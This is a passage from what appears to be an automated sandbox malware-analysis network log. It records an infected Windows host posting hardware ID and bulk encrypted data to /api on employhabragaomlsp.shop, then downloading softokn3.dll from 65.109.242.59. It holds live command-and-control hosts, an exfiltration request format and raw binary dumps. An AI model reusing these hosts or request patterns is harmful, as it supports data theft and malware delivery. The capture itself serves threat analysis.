06 41 2d 06 53 e8 8e 10 9b fd 47 eb 74 5e 26 14 bc ee a8 35 77 86 8b 83 f4 a8 5b 3f 84 43 3e bc 1e b6 1e 96 67 f0 6c d1 fb ed Data Ascii: 2op+'_DYSyzHP9cu\|`'}mR!+L`!BpI(m8q%T8ts#W~PLi5B;9cj737NS 4d"?ahezzv_vfRit7>N/A-SGt^&5w[?C>gl
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: a9 37 86 ec bf ed 93 91 65 05 65 35 df e4 86 50 75 db 27 b1 80 f8 f7 c5 5e 38 e2 85 62 91 40 f2 de 2e 8d 2a 36 df b6 22 d8 b5 a8 88 8e e1 3c 09 e4 47 39 99 29 4e da 1b 33 93 94 68 68 0e e1 3f 06 f0 fc fb 5d 28 41 2d aa fc 82 c3 d9 c2 06 3f 75 a7 6e 4a 6c c6 fa ef c1 5b 18 e3 3f 52 e5 b9 28 5a 37 d9 be cd 99 62 e4 98 46 2c 14 29 06 7e a7 69 64 90 af 2c d1 7f 8f 24 1d 9d c8 ac 62 49 4c 71 4d ba 8e f5 76 a0 2f 73 a3 e9 38 04 d6 fc 08 be 83 7b e6 7a fc e5 79 23 18 ad a1 09 70 e3 78 17 31 9a 58 2c a6 2b d9 cb d8 51 18 f6 fd 6f 8b c7 6c 34 89 ff 88 3c a2 c8 cc 66 f8 10 46 50 7e 66 55 51 84 8f a6 41 46 46 e9 71 de 88 e8 20 15 11 7d 63 f3 bc ad 76 37 5b 26 26 6c ba 27 07 3d 2f b2 05 09 a8 8c 8d de 2b 20 14 bc b9 8d ed b4 6f 21 76 89 cb dd f2 32 e4 a2 54 3c 0b 9c Data Ascii: 7ee5Pu'^8b@.*6"<G9)N3hh?](A-?unJl[?R(Z7bF,)~id,$bILqMv/s8{zy#px1X,+Qol4<fFP~fUQAFFq }cv7[&&l'=/+ o!v2T<
2024-05-24 11:43:43 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tksjs60468hvk38jeib4bgb0ag; expires=Tue, 17-Sep-2024 05:30:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gfCi1SHXzZsPpf2RfTEc2%2BO2e3mvfUgFym9%2BIuqQ8llYZSpwIzx9CwWy2DoLoi%2BRUUtTDrCNG8e911pUnaQAFYlalYIexPfENoR5ioJcLFSiO%2BEUFdIHD4muT7wbEqqQLDAjUlaAnaptwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d078fdb56c3f3-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	63776	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:42 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:42 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 11:43:43 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=khcsggmnthtbov5aj49d523hj2; expires=Tue, 17-Sep-2024 05:30:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7TiIv1%2FFiEWgPSlKeajAZRPy2rY7iSDZpF%2FkwRyFlw0RKIemi5hTJ13N0sc7M5gOzO2L6A9VCBrBpY5YkpA%2BhcAdnkZqN3Xv2q9Incakq4HQOJ2LHsFMEzUQddA%2FEY%2BP3UnSka7e3HTAAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07921a918c81-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	63775	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:42 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572795 Host: employhabragaomlsp.shop
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: b6 5b 0b 56 45 1f 81 58 ca 4a e0 2f 61 4e e9 01 9c 71 17 60 2d 9f 02 1e 4c 17 98 a1 c3 62 cb ba 66 d4 56 eb 42 ac 87 ee 61 3a 80 95 1d 32 87 70 34 23 55 68 f2 ff b7 93 d2 0b 0b 12 57 65 e1 01 00 ef 23 34 ad 28 01 85 3e a0 05 b5 a8 cc 68 db 10 d9 04 1e 92 12 2a 33 5d 16 bf 35 fa 11 7a f8 85 bb 84 e4 f6 00 7b 1c fa 31 44 9d 5e 2c f4 6c 05 ac 12 34 49 d3 03 f8 5e 28 12 d2 83 a3 b0 44 8f 91 6a 5d 5c ae 4f 75 aa 76 c1 c9 1f f8 fe 08 39 74 5b 3c 85 35 df 37 7e ef 34 2f ed 23 29 ac 41 3c a7 db 03 fd 42 de 66 b4 4c 0a 4c b5 50 2a bb 1e d0 1e dc 61 6e 66 17 f2 39 3e b9 a3 e1 3d d3 11 a4 67 55 a3 ec 50 55 8f 7e a5 66 14 01 23 53 84 88 2e 53 8b b0 00 a5 cc 36 4c ee 65 b2 35 44 76 0a 01 e1 fc e1 c6 a4 5f e2 2e de f8 b3 a0 89 43 a7 2f 5d 2a e4 97 88 9d f7 6c ff 35 ec Data Ascii: [VEXJ/aNq`-LbfVBa:2p4#UhWe#4(>h3]5z{1D^,l4I^(Dj]\Ouv9t[<57~4/#)A<BfLLPanf9>=gUPU~f#S.S6Le5Dv_.C/]*l5
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 75 54 15 78 9b 58 65 f5 c5 32 2b 84 be 09 cd 8a 4f ac b8 fb 41 93 7f 76 05 6a 00 01 b6 49 bd db 27 7c 3a 43 9d c3 42 82 53 19 91 17 07 93 16 5c 2c e0 e0 13 5a 04 df 84 79 6b 95 ca 84 6d cc 50 92 59 96 45 9c 01 9a 88 e2 3c 2e fa f6 b7 c2 6a 8d a4 87 0a d3 78 5c a9 fe e6 24 aa be b4 6c 53 7f 2e 29 8f e2 2d b8 53 bd 28 a1 ca 70 2b 91 4d 6f 35 27 7a e3 f2 4a b1 d2 5d f7 c3 3a 4a b3 97 f8 f4 8c 53 39 48 64 85 c3 48 72 4f de e5 ef 94 6f 6f 51 44 e0 9c ff dc 8f 1f 61 53 48 1e 9f 39 fb e1 cf 69 02 93 72 9d 8b 49 28 62 cb b3 ea de f5 66 59 e4 3d 75 5c 27 5a 84 7e 5f 6b 3c 25 86 aa 3d e2 d0 d6 ac 52 1f ba 8b 3d 92 ee ba 4a 1a 6d 40 8d 5d 00 d6 f1 54 c2 0c 61 59 e6 d7 7b e2 49 57 a7 19 a5 61 e5 27 76 d4 1c 38 69 28 9e 75 cf 97 a6 81 aa 31 89 09 b8 e4 b7 49 18 bb 50 Data Ascii: uTxXe2+OAvjI'\|:CBS\,ZykmPYE<.jx\$lS.)-S(p+Mo5'zJ]:JS9HdHrOooQDaSH9irI(bfY=u\'Z~_k<%=R=Jm@]TaY{IWa'v8i(u1IP
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: f0 96 69 e6 1c 93 10 15 87 20 a7 ae b9 bd a2 ce eb 97 ac 61 3e 28 58 ba 56 aa 83 56 c9 d0 0d 43 79 b9 33 46 dd a5 2d 6e a5 de da 28 7a e1 d3 bc 00 e7 51 9c 27 74 25 30 f9 fe f6 91 c5 e2 ae ce 25 17 84 8d 7d 74 10 3f b9 e5 8f 60 25 a4 0c a6 8a ed f8 c3 3d 3a 80 4c eb de 6a 44 e8 a4 86 29 ee 55 4d d9 56 72 97 c5 b8 dc d0 ee ad 12 8f 8b 3f 2e 0c 29 7f dd 07 12 aa 0f 38 b3 df fb 74 3a 3e e7 df 14 38 29 f6 27 63 cb fa 4d f1 6c 78 db 3f cd ef 47 42 2c 96 60 4d 32 c5 21 4f 71 54 71 85 fa 4a 76 f8 4f 0f 65 2a 74 95 19 c3 5b db 4a 7a 3a 22 7e 9a d0 d0 5e 5b 5d 64 c3 2e 3e 9a 76 38 c6 ed e0 1e 4b 39 ab e1 a3 3b 41 7f 2e 3b 1e db be c2 4f d4 40 e3 0c ef cc bf b9 91 b7 11 b4 55 2e ae 3f 8b 29 5e 0f 4b ea 28 6a bb 2e 2a d6 dc 96 56 58 9c bb b9 9e 29 f7 7a a6 c8 60 7c Data Ascii: i a>(XVVCy3F-n(zQ't%0%}t?`%=:LjD)UMVr?.)8t:>8)'cMlx?GB,`M2!OqTqJvOet[Jz:"~^[]d.>v8K9;A.;O@U.?)^K(j.VX)z`\|
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: e2 23 78 97 68 98 c3 c7 de 4e f6 e4 23 1f 94 32 40 30 5d d5 31 2e 8e 39 f2 cf 0a 2d 33 04 c2 0d ee 8b e6 6e da c6 61 35 58 67 30 39 e7 69 2f 31 5e 87 e6 73 83 45 b0 83 1b ce 9c cc 24 7e e3 5f b2 81 68 0a 69 dd ee 24 d5 f4 53 46 1a bb 45 32 ac 77 c0 cd 85 98 be 26 e0 85 15 24 9e 0a f9 cd c4 c3 8c 8e c3 39 3c 7f 47 5f 40 07 88 6e ff aa 60 97 b7 24 93 9a 38 d6 00 ec 64 fe e1 12 d7 c5 64 0d 66 26 c7 ef 70 43 de 64 dc 39 70 21 6e a1 bb de 3a f9 39 79 70 fa 4c a6 29 98 7d 60 ac 96 a2 1a 15 e1 29 d0 6b 8c e5 94 47 a0 14 69 33 03 c1 26 8c 3c 37 f7 83 d7 c2 49 6f e4 e2 76 e6 ab 09 c3 ae 4c f1 15 fe 93 38 5f fa 77 64 2b 43 4a f0 32 86 13 c0 a4 a0 32 41 e7 b4 5f 2d c6 02 d2 3f 2f 61 25 5e ac 67 47 e1 b2 74 c2 e7 25 ae 1e 7b 46 c7 88 9a 50 55 11 40 f4 4f d4 75 f6 80 Data Ascii: #xhN#2@0]1.9-3na5Xg09i/1^sE$~_hi$SFE2w&$9<G_@n`$8ddf&pCd9p!n:9ypL)}`)kGi3&<7IovL8_wd+CJ22A_-?/a%^gGt%{FPU@Ou
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: c1 a2 ff 20 62 6b fc 79 39 cc 6e d9 d2 6a ab fc 41 1a 86 72 00 03 26 f4 69 8e bf 80 a2 1b 5b b1 1a 78 75 8b 51 84 03 82 5b 36 cb a1 eb bf b9 17 82 c7 be 64 65 5e 0b 3e d2 ec dc 88 6d cd ba a8 8b dd b8 ac 9e ea 87 be c7 1d a4 32 c4 db 9a 17 35 7b e5 f4 ce 63 dd 1d bd 7f 29 87 e8 ca 0f 41 dd 38 76 2a eb 26 41 08 cc c4 12 49 da cf c2 ba ff a7 25 41 3e 52 ee 59 33 9b 6f d7 fb d5 96 72 8e 5f 5c 24 bf fd a8 c1 e4 03 07 d9 74 90 01 07 af ff 54 ed ff f8 76 c9 53 ac 4a 99 a9 63 7d ae 46 9a 90 f6 0f 49 8b 73 59 a0 ff f6 be 71 52 53 e4 87 fa 7d 2a 49 58 90 6d 2e 73 96 d7 a4 19 f9 cd 0f 89 b4 ba df 98 55 00 bc f5 c6 eb 3e ea 12 6e 28 5a 67 d6 6a 58 91 84 1f 6d 59 5e a4 34 69 23 1f 4f 60 56 c4 ae 07 e2 38 8d 14 0f 5d 11 96 71 08 4b 16 76 1d ad d5 f9 ba ba 8b 9b d2 c8 Data Ascii: bky9njAr&i[xuQ[6de^>m25{c)A8v&AI%A>RY3or_\$tTvSJc}FIsYqRS}IXm.sU>n(ZgjXmY^4i#O`V8]qKv
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: c3 a7 30 9e 03 ce a7 2a 2d db 56 63 70 bd 4f 4d df f2 54 50 a2 9d d9 bf e9 a0 c6 8f 25 38 d7 c8 00 d7 51 d8 71 84 cd 36 19 90 64 85 fc cd b1 c4 a9 09 3c c6 ba 50 d5 02 c0 a0 f9 9a 1c 74 f1 15 94 15 ba 72 2c ab 55 82 e8 81 e0 d1 04 db 52 cd 9c 63 5a 62 e1 0a d2 e7 ae ec 6d 69 f1 82 e9 39 d9 a5 f0 82 04 7c 6b 33 e3 4f 6d 42 6b 32 89 93 cb 8f 8d d0 d2 83 4c ce 71 91 84 d0 21 a7 c5 72 ae 33 ba 74 5d c4 42 af 0a ed ef 2f bf 5e a7 4c 93 e8 87 8a 05 93 f0 ca b0 2e 1e 52 df f9 eb 9c ca e2 7b 71 95 93 47 f1 fb 3f 57 60 9c 28 34 c3 76 05 4b 68 f1 d8 55 16 87 0c 57 f7 0c d2 cc 5c 98 aa c7 73 bc c9 61 d5 84 a6 3f 36 d4 cf 1f 6e ef 2a 3b 50 60 3b 08 c3 b6 65 b8 ab 4c 20 5f 5e 6a f3 62 b4 75 64 dd 25 a6 ec 0a df 43 74 0e f1 36 0c f2 1f 7d 6d a6 29 cb 16 e9 92 eb 55 db Data Ascii: 0-VcpOMTP%8Qq6d<Ptr,URcZbmi9\|k3OmBk2Lq!r3t]B/^L.R{qG?W`(4vKhUW\sa?6n;P`;eL _^jbud%Ct6}m)U
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 6c 9b 8d 97 d7 99 f9 57 38 1e 5b ce 39 9a e2 1f 02 3b 49 3b eb 81 df d0 f6 31 34 b7 d0 2e 40 4f 82 6c 2e c2 be a3 e8 e5 3c 67 a8 98 ef 23 a0 f7 ec bc 7d 8a 58 29 7a 80 76 3d 55 52 d6 9d a6 b6 48 59 78 95 e2 c1 1a f7 87 23 04 f3 c8 37 c5 e5 6d d8 67 a2 31 d6 62 98 d6 eb 39 54 dd 91 93 51 2c 17 18 b9 2e 2e c3 11 a2 5c be cb 42 43 a3 11 80 89 40 cc dc 08 65 e5 a1 41 66 bd 24 38 c8 3a 59 5d f5 c7 ca 46 27 85 85 96 ef 02 b9 0e 1f de 5f 7d 49 60 1d 87 93 ef 6b 50 04 60 3c 5b e4 c9 09 86 dd 01 e4 6a 19 44 8f 81 12 21 e6 45 11 de c2 b8 b0 a1 4d 50 ad 3e 88 0c bb be e8 e4 bb 71 29 d1 e9 50 11 8c 2e cd 7d 89 e6 be 4a 5e 3b 95 10 c6 bc 70 b4 db 98 49 dc dd 4e 27 d9 09 d6 a0 17 3a ce a7 f1 4f f8 c0 76 b1 3e bf 4f 90 05 b0 46 a1 cb f2 84 94 3b 2a b0 2f 10 41 21 dd b8 Data Ascii: lW8[9;I;14.@Ol.<g#}X)zv=URHYx#7mg1b9TQ,..\BC@eAf$8:Y]F'_}I`kP`<[jD!EMP>q)P.}J^;pIN':Ov>OF;*/A!
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: 32 9c 6f 97 70 ef 2b 27 5f b8 ed 01 44 cc 59 ca 53 a4 79 a4 0e fd c8 7a db c1 12 48 a8 bf d0 9b a3 82 50 39 ca bd 63 75 c6 e6 09 83 7c 60 27 7d da a2 6d b5 52 15 f5 ee 21 2b 4c 60 21 42 70 49 28 6d e5 38 71 d7 ca 25 54 ba a3 c4 38 1f cf ac d4 e4 74 73 1e 1c 23 57 7e 1d c6 f2 e1 1a 9f 50 4c 69 fc c0 b7 35 ad 15 f6 42 00 b7 e0 99 bf 3b 15 fd 96 39 85 a8 63 93 98 d5 ea f9 6a fe f3 37 33 a2 dc 37 8a 4e 10 0e ac e3 53 c2 20 34 df 64 22 3f 81 fa f5 61 93 12 e2 b8 68 12 05 8b 8b a7 f3 a4 1d 08 01 0c 0c e6 e7 81 e8 65 80 c6 7a 7a c0 c6 8f 0d d0 a7 76 fd 0a fc a4 a5 ca 8c a0 5f a4 87 76 d7 1a e3 66 52 c6 69 fb 74 37 d1 b3 3e f5 4e d4 8d 2f 06 41 2d 06 53 e8 8e 10 9b fd 47 eb 74 5e 26 14 bc ee a8 35 77 86 8b 83 f4 a8 5b 3f 84 43 3e bc 1e b6 1e 96 67 f0 6c d1 fb ed Data Ascii: 2op+'_DYSyzHP9cu\|`'}mR!+L`!BpI(m8q%T8ts#W~PLi5B;9cj737NS 4d"?ahezzv_vfRit7>N/A-SGt^&5w[?C>gl
2024-05-24 11:43:42 UTC	15331	OUT	Data Raw: a9 37 86 ec bf ed 93 91 65 05 65 35 df e4 86 50 75 db 27 b1 80 f8 f7 c5 5e 38 e2 85 62 91 40 f2 de 2e 8d 2a 36 df b6 22 d8 b5 a8 88 8e e1 3c 09 e4 47 39 99 29 4e da 1b 33 93 94 68 68 0e e1 3f 06 f0 fc fb 5d 28 41 2d aa fc 82 c3 d9 c2 06 3f 75 a7 6e 4a 6c c6 fa ef c1 5b 18 e3 3f 52 e5 b9 28 5a 37 d9 be cd 99 62 e4 98 46 2c 14 29 06 7e a7 69 64 90 af 2c d1 7f 8f 24 1d 9d c8 ac 62 49 4c 71 4d ba 8e f5 76 a0 2f 73 a3 e9 38 04 d6 fc 08 be 83 7b e6 7a fc e5 79 23 18 ad a1 09 70 e3 78 17 31 9a 58 2c a6 2b d9 cb d8 51 18 f6 fd 6f 8b c7 6c 34 89 ff 88 3c a2 c8 cc 66 f8 10 46 50 7e 66 55 51 84 8f a6 41 46 46 e9 71 de 88 e8 20 15 11 7d 63 f3 bc ad 76 37 5b 26 26 6c ba 27 07 3d 2f b2 05 09 a8 8c 8d de 2b 20 14 bc b9 8d ed b4 6f 21 76 89 cb dd f2 32 e4 a2 54 3c 0b 9c Data Ascii: 7ee5Pu'^8b@.*6"<G9)N3hh?](A-?unJl[?R(Z7bF,)~id,$bILqMv/s8{zy#px1X,+Qol4<fFP~fUQAFFq }cv7[&&l'=/+ o!v2T<
2024-05-24 11:43:43 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gilqarrm43emvud3slfd7tirr0; expires=Tue, 17-Sep-2024 05:30:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a4Q%2BAjuvrCyqE64mfEq9wbBEk5DhxXx8prK3Y7vg7wDUqrZuTRQNoiy5rakDhh2kJwJadY2UWJ6nt1PqqNkw0HiIjVx7Sj%2BPZi1FoSqqdxvaNRO8bXim%2BOvEkdTTfjIVGewtsH8TvQZklw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0792dc8d0f6c-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	63778	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:43 UTC	174	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Cache-Control: no-cache
2024-05-24 11:43:43 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:43 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-3ef50" Accept-Ranges: bytes
2024-05-24 11:43:43 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-05-24 11:43:43 UTC	16384	IN	Data Raw: ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 c4 08 01 00 00 5e 5f 5b 5d c3 8b 5d 0c c7 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(^_[]]
2024-05-24 11:43:44 UTC	16384	IN	Data Raw: ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d 02 00 83 c4 04 a3 38 9a 03 10 ff 75 0c e8 Data Ascii: kWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM8u
